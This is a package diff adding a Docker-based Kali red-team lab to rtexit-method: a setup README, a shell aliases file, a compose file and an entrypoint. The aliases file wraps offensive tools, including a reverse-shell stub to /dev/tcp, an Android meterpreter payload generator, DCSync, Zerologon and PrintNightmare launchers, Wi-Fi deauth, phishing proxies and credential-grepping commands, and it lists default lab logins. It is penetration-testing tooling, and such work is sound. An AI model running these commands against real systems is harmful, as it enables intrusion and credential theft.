rtexit-method 0.1.17 → 0.1.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,107 @@
1
+ # RTExit Docker Lab Setup
2
+
3
+ RTExit skills run inside the **rtexit-kali** container — a pre-built Kali Linux image with 300+ red team tools pre-installed.
4
+
5
+ ---
6
+
7
+ ## Quick Start (2 steps)
8
+
9
+ ```bash
10
+ # 1. Start the container (first run downloads ~4GB image)
11
+ docker compose up -d
12
+
13
+ # 2. Enter the shell
14
+ docker exec -it rtexit-kali bash
15
+ ```
16
+
17
+ That's it. Your project files are mounted at `/workspace` inside the container.
18
+
19
+ ---
20
+
21
+ ## Requirements
22
+
23
+ - Docker Desktop (Mac/Windows) or Docker Engine (Linux)
24
+ - ~6GB free disk space
25
+ - Internet connection for first image pull
26
+
27
+ ---
28
+
29
+ ## Commands
30
+
31
+ | Action | Command |
32
+ |--------|---------|
33
+ | Start container | `docker compose up -d` |
34
+ | Enter shell | `docker exec -it rtexit-kali bash` |
35
+ | Stop container | `docker compose down` |
36
+ | View logs | `docker compose logs -f` |
37
+ | Rebuild image | `docker compose build` |
38
+ | Update image | `docker compose pull && docker compose up -d` |
39
+
40
+ ---
41
+
42
+ ## What's Inside
43
+
44
+ - **189 RTExit skills** auto-installed at `/workspace/.agents/skills/`
45
+ - **300+ tools**: nmap, sqlmap, Metasploit, Frida, Impacket, BloodHound, Certipy, CrackMapExec, Burp Suite, etc.
46
+ - **rt-** aliases for every tool — just type `rt-` + Tab to see all
47
+ - Your project mounted at `/workspace` — changes persist on host
48
+
49
+ ---
50
+
51
+ ## Network Configuration
52
+
53
+ **Linux:** For best performance, use host network mode. Uncomment in docker-compose.yml:
54
+ ```yaml
55
+ network_mode: host
56
+ ```
57
+ And comment out the `ports:` section.
58
+
59
+ **Mac/Windows:** Use the default port-mapping mode (already configured).
60
+
61
+ ---
62
+
63
+ ## Build Locally (Optional)
64
+
65
+ If you prefer to build the image yourself instead of pulling:
66
+
67
+ ```bash
68
+ # Edit docker-compose.yml:
69
+ # 1. Comment out: image: ghcr.io/exit-code-eg/rtexit-kali:latest
70
+ # 2. Uncomment: build:
71
+ # context: ./docker
72
+ # dockerfile: Dockerfile
73
+
74
+ # Build (takes 30-60 minutes)
75
+ docker compose build
76
+
77
+ # Start
78
+ docker compose up -d
79
+ ```
80
+
81
+ ---
82
+
83
+ ## Verify Tools
84
+
85
+ ```bash
86
+ docker exec rtexit-kali bash -c "rt-verify"
87
+ ```
88
+
89
+ ---
90
+
91
+ ## Troubleshooting
92
+
93
+ **Container exits immediately:**
94
+ ```bash
95
+ docker compose logs rtexit-kali
96
+ ```
97
+
98
+ **Port already in use:**
99
+ Edit `docker-compose.yml` and change the conflicting port (e.g., `8081:8080`).
100
+
101
+ **Permission denied on files:**
102
+ ```bash
103
+ docker exec rtexit-kali bash -c "chown -R root:root /workspace"
104
+ ```
105
+
106
+ **Image pull fails (no GHCR access):**
107
+ Build locally — see "Build Locally" section above.
@@ -0,0 +1,410 @@
1
+ #!/bin/bash
2
+ # RTExit — Aliases & Environment
3
+ # Auto-loaded on every shell session
4
+
5
+ # ── Colors ────────────────────────────────────────
6
+ RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
7
+ BLUE='\033[0;34m'; CYAN='\033[0;36m'; NC='\033[0m'
8
+
9
+ # ── Banner ────────────────────────────────────────
10
+ echo -e "${RED}"
11
+ echo " ██████╗ ████████╗███████╗██╗ ██╗██╗████████╗"
12
+ echo " ██╔══██╗╚══██╔══╝██╔════╝╚██╗██╔╝██║╚══██╔══╝"
13
+ echo " ██████╔╝ ██║ █████╗ ╚███╔╝ ██║ ██║ "
14
+ echo " ██╔══██╗ ██║ ██╔══╝ ██╔██╗ ██║ ██║ "
15
+ echo " ██║ ██║ ██║ ███████╗██╔╝ ██╗██║ ██║ "
16
+ echo " ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ "
17
+ echo -e "${NC} Red Team Exit Framework v3.0 — Kali Environment"
18
+ echo -e " ${CYAN}189 Skills | 300+ Tools | 16 Lab Targets${NC}"
19
+ echo ""
20
+
21
+ # ═══════════════════════════════════════════════════
22
+ # PATHS & ENVIRONMENT
23
+ # ═══════════════════════════════════════════════════
24
+ export PATH="$PATH:/root/go/bin:/usr/local/bin:/opt/rtexit/scripts"
25
+
26
+ # SecLists wordlists
27
+ export SECLISTS='/opt/SecLists'
28
+ export WORDLIST_WEB="$SECLISTS/Discovery/Web-Content/directory-list-2.3-medium.txt"
29
+ export WORDLIST_BIG="$SECLISTS/Discovery/Web-Content/big.txt"
30
+ export WORDLIST_PARAMS="$SECLISTS/Discovery/Web-Content/burp-parameter-names.txt"
31
+ export WORDLIST_PASSWORDS="$SECLISTS/Passwords/Leaked-Databases/rockyou.txt"
32
+ export WORDLIST_USERNAMES="$SECLISTS/Usernames/Names/names.txt"
33
+ export WORDLIST_SUBDOMAINS="$SECLISTS/Discovery/DNS/subdomains-top1million-5000.txt"
34
+ export WORDLIST_SQLI="$SECLISTS/Fuzzing/SQLi/Generic-SQLi.txt"
35
+ export WORDLIST_LFI="$SECLISTS/Fuzzing/LFI/LFI-Jhaddix.txt"
36
+
37
+ # ═══════════════════════════════════════════════════
38
+ # CORE
39
+ # ═══════════════════════════════════════════════════
40
+ alias rt-help='cat /opt/rtexit/HELP.txt 2>/dev/null || echo "Run rt-verify to check tools"'
41
+ alias rt-verify='/opt/rtexit/verify-tools.sh'
42
+ alias rt-update='cd /opt/rtexit && git pull 2>/dev/null; nuclei -update-templates 2>/dev/null'
43
+ alias rt-status='echo "Lab: docker compose ps | Tools: rt-verify | Skills: ls /opt/rtexit/skills/"'
44
+
45
+ # ═══════════════════════════════════════════════════
46
+ # ENGAGEMENT MANAGEMENT
47
+ # ═══════════════════════════════════════════════════
48
+ alias rt-init='bash /opt/rtexit/scripts/rt-init-engagement.sh'
49
+ alias rt-report='bash /opt/rtexit/scripts/rt-report.sh'
50
+
51
+ # ═══════════════════════════════════════════════════
52
+ # RECON & OSINT
53
+ # ═══════════════════════════════════════════════════
54
+ alias rt-recon='bash /opt/rtexit/scripts/rt-recon.sh'
55
+ alias rt-osint='bash /opt/rtexit/scripts/rt-osint.sh'
56
+ alias rt-ports='nmap -sV -sC -A -p-'
57
+ alias rt-ports-fast='masscan --rate 100000 -p 0-65535'
58
+ alias rt-subdomain='subfinder -d'
59
+ alias rt-alive='httpx -silent -status-code'
60
+ alias rt-tech='whatweb'
61
+ alias rt-dns='dnsrecon -d'
62
+ alias rt-dns-enum='dnsenum'
63
+ alias rt-fierce='fierce --domain'
64
+ alias rt-nbtscan='nbtscan'
65
+
66
+ # OSINT specialized
67
+ alias rt-breach='h8mail -t'
68
+ alias rt-maigret='maigret'
69
+ alias rt-holehe='holehe'
70
+ alias rt-ghunt='python3 -m ghunt'
71
+ alias rt-crosslinked='python3 /opt/CrossLinked/crosslinked.py 2>/dev/null'
72
+ alias rt-spiderfoot='python3 /opt/spiderfoot/sf.py 2>/dev/null || spiderfoot'
73
+
74
+ # ═══════════════════════════════════════════════════
75
+ # WEB APPLICATION
76
+ # ═══════════════════════════════════════════════════
77
+ alias rt-web='bash /opt/rtexit/scripts/rt-web-full-scan.sh'
78
+ alias rt-scan='nuclei -t /opt/nuclei-templates'
79
+ alias rt-fuzz='ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u'
80
+ alias rt-sqli='sqlmap --level=5 --risk=3 --batch'
81
+ alias rt-ghauri='ghauri'
82
+ alias rt-xss='dalfox url'
83
+ alias rt-params='arjun -u'
84
+ alias rt-x8='x8'
85
+ alias rt-smuggle='python3 /opt/smuggler/smuggler.py -u'
86
+ alias rt-jwt='jwt_tool'
87
+ alias rt-graphw00f='python3 -m graphw00f'
88
+ alias rt-corscanner='python3 /opt/CORScanner/cors_scan.py 2>/dev/null'
89
+ alias rt-oob='interactsh-client -v'
90
+ alias rt-oob-server='interactsh-client -server http://192.168.200.90:1281'
91
+ alias rt-nikto='nikto -h'
92
+ alias rt-wpscan='wpscan --url'
93
+
94
+ # ═══════════════════════════════════════════════════
95
+ # ACTIVE DIRECTORY
96
+ # ═══════════════════════════════════════════════════
97
+ alias rt-ad='bash /opt/rtexit/scripts/rt-ad-full.sh'
98
+ alias rt-bloodhound='bloodhound-python'
99
+ alias rt-certipy='certipy'
100
+ alias rt-kerberoast='impacket-GetUserSPNs'
101
+ alias rt-asrep='impacket-GetNPUsers'
102
+ alias rt-secretsdump='impacket-secretsdump'
103
+ alias rt-dcsync='impacket-secretsdump -just-dc'
104
+ alias rt-psexec='impacket-psexec'
105
+ alias rt-smbexec='impacket-smbexec'
106
+ alias rt-wmiexec='impacket-wmiexec'
107
+ alias rt-winrm='evil-winrm -i'
108
+ alias rt-smbmap='smbmap -H'
109
+ alias rt-enum4linux='enum4linux-ng'
110
+ alias rt-coercer='python3 -m coercer'
111
+ alias rt-mitm6='mitm6'
112
+ alias rt-donpapi='python3 /opt/DonPAPI/DonPAPI.py 2>/dev/null'
113
+ alias rt-nopac='python3 /opt/noPac/noPac.py 2>/dev/null'
114
+ alias rt-pyrdp='python3 -m pyrdp.bin.mitm'
115
+ alias rt-responder='responder -I eth0 -dwv'
116
+
117
+ # ═══════════════════════════════════════════════════
118
+ # CLOUD
119
+ # ═══════════════════════════════════════════════════
120
+ alias rt-aws='bash /opt/rtexit/scripts/rt-aws-audit.sh'
121
+ alias rt-pacu='python3 /opt/pacu/cli.py'
122
+ alias rt-scout='python3 -m scoutsuite'
123
+ alias rt-roadtools='roadrecon'
124
+ alias rt-roadrecon='roadrecon gather && roadrecon gui'
125
+ alias rt-pmapper='pmapper'
126
+ alias rt-prowler='prowler'
127
+ alias rt-stratus='stratus'
128
+ alias rt-teamfiltration='teamfiltration'
129
+ alias rt-cloudlist='cloudlist'
130
+
131
+ # ═══════════════════════════════════════════════════
132
+ # PASSWORD & HASHES
133
+ # ═══════════════════════════════════════════════════
134
+ alias rt-spray='bash /opt/rtexit/scripts/rt-password-spray.sh'
135
+ alias rt-crack='hashcat -a 0'
136
+ alias rt-ntlm='hashcat -a 0 -m 1000'
137
+ alias rt-ntlmv2='hashcat -a 0 -m 5600'
138
+ alias rt-kerberoast-crack='hashcat -a 0 -m 13100'
139
+ alias rt-wordlist='cewl -d 3 -m 6'
140
+ alias rt-patator='patator'
141
+ alias rt-onesixtyone='onesixtyone'
142
+
143
+ # ═══════════════════════════════════════════════════
144
+ # C2 & POST-EXPLOITATION
145
+ # ═══════════════════════════════════════════════════
146
+ alias rt-msf='msfconsole'
147
+ alias rt-c2='sliver-client'
148
+ alias rt-empire='python3 /opt/Empire/empire 2>/dev/null'
149
+ alias rt-villain='python3 /opt/Villain/Villain.py 2>/dev/null'
150
+ alias rt-poshc2='python3 /opt/PoshC2/poshc2 2>/dev/null'
151
+ alias rt-pivot='chisel'
152
+ alias rt-tunnel='ligolo-proxy'
153
+ alias rt-lsass='pypykatz'
154
+ alias rt-gen-payload='msfvenom'
155
+ alias rt-weevely='weevely'
156
+
157
+ # ═══════════════════════════════════════════════════
158
+ # NETWORK & SNIFFING
159
+ # ═══════════════════════════════════════════════════
160
+ alias rt-mitm='mitmproxy'
161
+ alias rt-arp='arpspoof' # from dsniff package
162
+ alias rt-pcap='tcpdump -i eth0 -w'
163
+ alias rt-analyze='tshark -r'
164
+ alias rt-arpwatch='arpwatch'
165
+ alias rt-netsniff='netsniff-ng'
166
+ alias rt-hping='hping3'
167
+ alias rt-sslstrip='sslstrip'
168
+
169
+ # ═══════════════════════════════════════════════════
170
+ # EXPLOITATION
171
+ # ═══════════════════════════════════════════════════
172
+ alias rt-searchsploit='searchsploit'
173
+ alias rt-beef='beef-xss'
174
+ alias rt-routersploit='python3 /opt/routersploit/rsf.py 2>/dev/null'
175
+ alias rt-gophish='gophish'
176
+ alias rt-evilginx='evilginx3 2>/dev/null || /opt/evilginx3/evilginx3 2>/dev/null'
177
+
178
+ # ═══════════════════════════════════════════════════
179
+ # FORENSICS
180
+ # ═══════════════════════════════════════════════════
181
+ alias rt-foremost='foremost'
182
+ alias rt-dc3dd='dc3dd'
183
+ alias rt-testdisk='testdisk'
184
+ alias rt-bulk='bulk_extractor'
185
+ alias rt-volatility='vol'
186
+ alias rt-vol3='python3 /opt/volatility3/vol.py'
187
+ alias rt-strings='strings'
188
+ alias rt-exif='exiftool'
189
+ alias rt-binwalk='binwalk'
190
+
191
+ # ═══════════════════════════════════════════════════
192
+ # BINARY ANALYSIS & REVERSE ENGINEERING
193
+ # ═══════════════════════════════════════════════════
194
+ alias rt-ghidra='ghidra'
195
+ alias rt-r2='radare2'
196
+ alias rt-gdb='gdb'
197
+ alias rt-jadx='jadx'
198
+ alias rt-apktool='apktool'
199
+
200
+ # ═══════════════════════════════════════════════════
201
+ # STEGANOGRAPHY
202
+ # ═══════════════════════════════════════════════════
203
+ alias rt-steghide='steghide'
204
+ alias rt-zsteg='zsteg'
205
+ alias rt-stegsolve='stegsolve'
206
+ alias rt-exiftool='exiftool'
207
+
208
+ # ═══════════════════════════════════════════════════
209
+ # MOBILE — Core
210
+ # ═══════════════════════════════════════════════════
211
+ alias rt-frida='frida'
212
+ alias rt-adb='adb'
213
+ alias rt-objection='objection'
214
+ alias rt-mobsf='echo "MobSF: docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf"'
215
+ alias rt-apkleaks='apkleaks'
216
+ alias rt-drozer='drozer'
217
+ alias rt-apktool='apktool'
218
+ alias rt-jadx='jadx'
219
+ alias rt-dex2jar='d2j-dex2jar'
220
+
221
+ # ═══════════════════════════════════════════════════
222
+ # MOBILE — Advanced (new skills)
223
+ # ═══════════════════════════════════════════════════
224
+
225
+ # Frida Advanced (rt-frida-advanced)
226
+ alias rt-frida-setup='setup-frida-server'
227
+ alias rt-frida-ps='frida-ps -U'
228
+ alias rt-frida-attach='frida -U -n'
229
+ alias rt-frida-spawn='frida -U -f'
230
+ alias rt-frida-trace='frida-trace -U -n'
231
+ alias rt-frida-mem='frida -U -n'
232
+
233
+ # APK Repackaging (rt-apk-repackaging)
234
+ alias rt-apk-sign='uber-apk-signer -a'
235
+ alias rt-apk-decompile='apktool d'
236
+ alias rt-apk-recompile='apktool b'
237
+ alias rt-apk-secrets='apkleaks -f'
238
+ alias rt-apk-install='adb install -r'
239
+
240
+ # SSL Pinning Bypass (rt-mobile-ssl-pinning)
241
+ alias rt-ssl-bypass='objection -g'
242
+ alias rt-apk-mitm='apk-mitm'
243
+ alias rt-reflutter='reflutter'
244
+
245
+ # Cross-Platform (rt-cross-platform-mobile)
246
+ alias rt-hermes-dec='hermes-dec'
247
+ alias rt-hbctool='hbctool disasm'
248
+ alias rt-doldrums='python3 /opt/doldrums/doldrums.py 2>/dev/null || doldrums'
249
+ alias rt-monodis='monodis'
250
+ alias rt-ilspy='~/.dotnet/tools/ilspycmd 2>/dev/null || echo "ilspycmd: dotnet tool install --global ilspycmd"'
251
+
252
+ # Static Analysis (rt-mobile-static-deep)
253
+ alias rt-mobile-scan='apkleaks -f'
254
+ alias rt-androguard='androguard'
255
+ alias rt-trufflehog='trufflehog filesystem'
256
+
257
+ # Malware / C2 (rt-mobile-malware-c2)
258
+ alias rt-android-payload='msfvenom -p android/meterpreter/reverse_https'
259
+ alias rt-qrcode='python3 -c "import qrcode,sys; qr=qrcode.make(sys.argv[1]); qr.save(\"/tmp/qr.png\"); print(\"Saved: /tmp/qr.png\")"'
260
+ alias rt-fatrat='bash /opt/TheFatRat/fatrat 2>/dev/null || echo "TheFatRat: cd /opt/TheFatRat && bash setup.sh first"'
261
+
262
+ # Android Intents (rt-android-intent-exploitation)
263
+ alias rt-drozer-connect='adb forward tcp:31415 tcp:31415 && drozer console connect'
264
+ alias rt-adb-backup='adb backup -noencrypt -noapk'
265
+ alias rt-logcat='adb logcat | grep -iE "password|token|secret|key|auth"'
266
+ alias rt-content-query='adb shell content query --uri'
267
+ alias rt-am-start='adb shell am start -n'
268
+ alias rt-am-broadcast='adb shell am broadcast -a'
269
+
270
+ # ADB Shortcuts
271
+ alias rt-adb-shell='adb shell'
272
+ alias rt-adb-root='adb root && adb shell'
273
+ alias rt-adb-pull-dbs='adb pull /data/data'
274
+ alias rt-adb-prefs='adb pull /data/data && find . -name "*.xml" | xargs grep -l "token\|pass\|key" 2>/dev/null'
275
+ alias rt-adb-proxy='adb shell settings put global http_proxy'
276
+ alias rt-adb-proxy-clear='adb shell settings put global http_proxy :0'
277
+
278
+ alias rt-peirates='peirates'
279
+ alias rt-scarecrow='ScareCrow'
280
+
281
+ # ═══════════════════════════════════════════════════
282
+ # WEB — Advanced (gap analysis v3)
283
+ # ═══════════════════════════════════════════════════
284
+ alias rt-semgrep='semgrep'
285
+ alias rt-tplmap='python3 /opt/tplmap/tplmap.py 2>/dev/null || tplmap'
286
+ alias rt-xxeinjector='ruby /opt/XXEinjector/XXEinjector.rb 2>/dev/null'
287
+ alias rt-graphql-cop='graphql-cop 2>/dev/null || python3 /opt/graphql-cop/graphql-cop.py'
288
+ alias rt-inql='inql'
289
+ alias rt-graphw00f='python3 -m graphw00f'
290
+
291
+ # ═══════════════════════════════════════════════════
292
+ # GITHUB / SOURCE CODE RECON (rt-github-recon)
293
+ # ═══════════════════════════════════════════════════
294
+ alias rt-git-dump='git-dumper'
295
+ alias rt-trufflehog-github='trufflehog github --org'
296
+ alias rt-trufflehog-git='trufflehog git'
297
+ alias rt-gitleaks-scan='gitleaks detect --source'
298
+ alias rt-github-search='python3 -c "import sys,subprocess; subprocess.run([\"curl\",\"-s\",\"https://api.github.com/search/code?q=\"+sys.argv[1],\"-H\",\"Authorization: token \"+sys.argv[2]])" 2>/dev/null'
299
+
300
+ # ═══════════════════════════════════════════════════
301
+ # WIFI ATTACKS (rt-wifi-attacks)
302
+ # ═══════════════════════════════════════════════════
303
+ alias rt-wifi='wifite'
304
+ alias rt-wifi-monitor='airmon-ng start'
305
+ alias rt-wifi-scan='airodump-ng'
306
+ alias rt-wifi-capture='airodump-ng --bssid'
307
+ alias rt-wifi-deauth='aireplay-ng --deauth 10 -a'
308
+ alias rt-wifi-pmkid='hcxdumptool -i wlan0mon -o /tmp/pmkid.pcapng'
309
+ alias rt-wifi-crack='hashcat -a 0 -m 22000'
310
+ alias rt-wifi-evil='hostapd-wpe'
311
+ alias rt-hcxtools='hcxpcapngtool'
312
+
313
+ # ═══════════════════════════════════════════════════
314
+ # IaC & DEVSECOPS (rt-iac-misconfig)
315
+ # ═══════════════════════════════════════════════════
316
+ alias rt-checkov='checkov -d'
317
+ alias rt-trivy-iac='trivy config'
318
+ alias rt-trivy-image='trivy image'
319
+ alias rt-syft='syft'
320
+ alias rt-grype='grype'
321
+ alias rt-steampipe='steampipe'
322
+
323
+ # ═══════════════════════════════════════════════════
324
+ # CLOUD — Advanced (gap analysis v3)
325
+ # ═══════════════════════════════════════════════════
326
+ alias rt-iam-enum='python3 /opt/enumerate-iam/enumerate-iam.py 2>/dev/null || enumerate-iam'
327
+ alias rt-awswhoami='awswhoami'
328
+ alias rt-cloud-enum='python3 /opt/cloud_enum/cloud_enum.py'
329
+ alias rt-s3scan='s3scanner scan --bucket'
330
+ alias rt-azcopy='azcopy'
331
+ alias rt-checkov-tf='checkov -d . --framework terraform'
332
+
333
+ # ═══════════════════════════════════════════════════
334
+ # KUBERNETES — Advanced
335
+ # ═══════════════════════════════════════════════════
336
+ alias rt-kubectx='kubectx'
337
+ alias rt-kubens='kubens'
338
+ alias rt-kube-bench='kube-bench'
339
+ alias rt-helm='helm'
340
+ alias rt-kubesploit='kubesploit 2>/dev/null'
341
+
342
+ # ═══════════════════════════════════════════════════
343
+ # ACTIVE DIRECTORY — Advanced (gap analysis v3)
344
+ # ═══════════════════════════════════════════════════
345
+ alias rt-zerologon='python3 /opt/CVE-2020-1472/cve-2020-1472-exploit.py 2>/dev/null'
346
+ alias rt-printnightmare='python3 /opt/PrintNightmare/CVE-2021-1675.py 2>/dev/null'
347
+ alias rt-krbrelayx='python3 /opt/krbrelayx/krbrelayx.py 2>/dev/null'
348
+ alias rt-adfspooof='python3 /opt/ADFSpoof/ADFSpoof.py 2>/dev/null'
349
+ alias rt-krbrelayup='python3 /opt/KrbRelayUp/KrbRelayUp.py 2>/dev/null'
350
+ alias rt-syswhispers='python3 /opt/SysWhispers3/SysWhispers.py 2>/dev/null'
351
+ alias rt-windapsearch='windapsearch 2>/dev/null || python3 /opt/windapsearch/windapsearch.py'
352
+ alias rt-ldeep='ldeep'
353
+ alias rt-deathstar='python3 /opt/DeathStar/DeathStar.py 2>/dev/null || deathstar'
354
+ alias rt-ghostpack='ls /opt/GhostPack/ && cat /opt/GhostPack/README.txt'
355
+
356
+ # ═══════════════════════════════════════════════════
357
+ # BINARY ANALYSIS — Advanced
358
+ # ═══════════════════════════════════════════════════
359
+ alias rt-ropgadget='ROPgadget --binary'
360
+ alias rt-ropper='ropper -f'
361
+ alias rt-angr='python3 -c "import angr; print(angr.__version__)"'
362
+ alias rt-yara='yara'
363
+ alias rt-yara-rules='ls /opt/yara-rules/'
364
+
365
+ # ═══════════════════════════════════════════════════
366
+ # SUPPLY CHAIN
367
+ # ═══════════════════════════════════════════════════
368
+ alias rt-sbom='syft'
369
+ alias rt-vuln-scan='grype'
370
+ alias rt-dep-check='dependency-check'
371
+
372
+ # ═══════════════════════════════════════════════════
373
+ # CONTAINER & KUBERNETES
374
+ # ═══════════════════════════════════════════════════
375
+ alias rt-cdk='cdk'
376
+ alias rt-deepce='deepce'
377
+ alias rt-botb='botb'
378
+ alias rt-trivy='trivy'
379
+ alias rt-dive='dive'
380
+
381
+ # ═══════════════════════════════════════════════════
382
+ # PAYLOAD GENERATION & EVASION
383
+ # ═══════════════════════════════════════════════════
384
+ alias rt-veil='python3 /opt/Veil/Veil.py 2>/dev/null'
385
+ alias rt-macropack='python3 /opt/macro_pack/macro_pack.py 2>/dev/null'
386
+ alias rt-donut='godonuts'
387
+
388
+ # ═══════════════════════════════════════════════════
389
+ # PURPLE TEAM
390
+ # ═══════════════════════════════════════════════════
391
+ alias rt-caldera='echo "Caldera: http://192.168.200.54:8888 | admin:admin"'
392
+ alias rt-atomic='ls /opt/atomic-red-team/atomics/ 2>/dev/null'
393
+
394
+ # ═══════════════════════════════════════════════════
395
+ # LAB SHORTCUTS
396
+ # ═══════════════════════════════════════════════════
397
+ alias rt-mythic='echo "Mythic C2: https://192.168.200.70:7443 | mythic_admin:mythic_password"'
398
+ alias rt-ghostwriter='echo "Ghostwriter: http://192.168.200.80:8008 | admin:spectre"'
399
+
400
+ # ═══════════════════════════════════════════════════
401
+ # UTILITY
402
+ # ═══════════════════════════════════════════════════
403
+ alias rt-encode='python3 -c "import base64,sys; print(base64.b64encode(sys.argv[1].encode()).decode())"'
404
+ alias rt-decode='python3 -c "import base64,sys; print(base64.b64decode(sys.argv[1]).decode())"'
405
+ alias rt-listen='nc -lvnp'
406
+ alias rt-rev='bash -i >& /dev/tcp/'
407
+
408
+ echo -e "${GREEN}[✓] RTExit v3.0 loaded. Type 'rt-verify' to check tools.${NC}"
409
+ echo -e "${YELLOW}[!] Authorized targets only!${NC}"
410
+ echo ""
@@ -0,0 +1,64 @@
1
+ # RTExit Lab Environment
2
+ # Usage:
3
+ # docker compose up -d → start container (pulls from GHCR)
4
+ # docker exec -it rtexit-kali bash → enter shell
5
+ # docker compose down → stop container
6
+ #
7
+ # First time: docker compose pull (downloads ~4GB image)
8
+ # Build locally: uncomment 'build:' lines and comment out 'image:'
9
+
10
+ version: '3.8'
11
+
12
+ services:
13
+ rtexit-kali:
14
+ # Option A: Pull pre-built image from registry (recommended — fast)
15
+ image: ghcr.io/exit-code-eg/rtexit-kali:latest
16
+
17
+ # Option B: Build locally from Dockerfile (uncomment to use)
18
+ # build:
19
+ # context: ./docker
20
+ # dockerfile: Dockerfile
21
+
22
+ container_name: rtexit-kali
23
+ hostname: rtexit-kali
24
+ stdin_open: true
25
+ tty: true
26
+
27
+ # Mount your project into the container
28
+ volumes:
29
+ - ..:/workspace # your project root → /workspace inside container
30
+ - rtexit-tools:/opt # persist installed tools between restarts
31
+
32
+ working_dir: /workspace
33
+
34
+ # Network — choose based on your OS:
35
+ # Linux: network_mode: host (best performance, direct access to target network)
36
+ # Mac/Windows: use ports below instead
37
+ # network_mode: host
38
+
39
+ ports:
40
+ - "8080:8080" # Burp Suite / web proxy
41
+ - "4444:4444" # Metasploit reverse shell
42
+ - "4445:4445" # C2 listener
43
+ - "8443:8443" # HTTPS listener
44
+ - "53:53/udp" # DNS (dnscat2, iodine)
45
+ - "80:80" # HTTP server
46
+ - "443:443" # HTTPS server
47
+
48
+ cap_add:
49
+ - NET_ADMIN # required for: nmap, aircrack-ng, bettercap, arp spoofing
50
+ - NET_RAW # required for: raw socket operations, hping3, scapy
51
+ - SYS_PTRACE # required for: gdb, frida, process injection
52
+
53
+ security_opt:
54
+ - apparmor:unconfined # required for: some pentest tools
55
+
56
+ environment:
57
+ - TERM=xterm-256color
58
+ - WORKSPACE=/workspace
59
+
60
+ restart: unless-stopped
61
+
62
+ volumes:
63
+ rtexit-tools:
64
+ driver: local
@@ -0,0 +1,22 @@
1
+ #!/bin/bash
2
+ # RTExit Kali — Entrypoint Script
3
+
4
+ # Source aliases
5
+ source /etc/profile.d/rtexit-aliases.sh 2>/dev/null
6
+
7
+ # Create workspace if mounted
8
+ mkdir -p /workspace/engagement
9
+ cd /workspace
10
+
11
+ # Start services if needed
12
+ if [ "$START_SERVICES" = "true" ]; then
13
+ service postgresql start 2>/dev/null
14
+ msfdb init 2>/dev/null &
15
+ fi
16
+
17
+ # Execute command or drop to shell
18
+ if [ "$#" -gt 0 ]; then
19
+ exec "$@"
20
+ else
21
+ exec /bin/bash
22
+ fi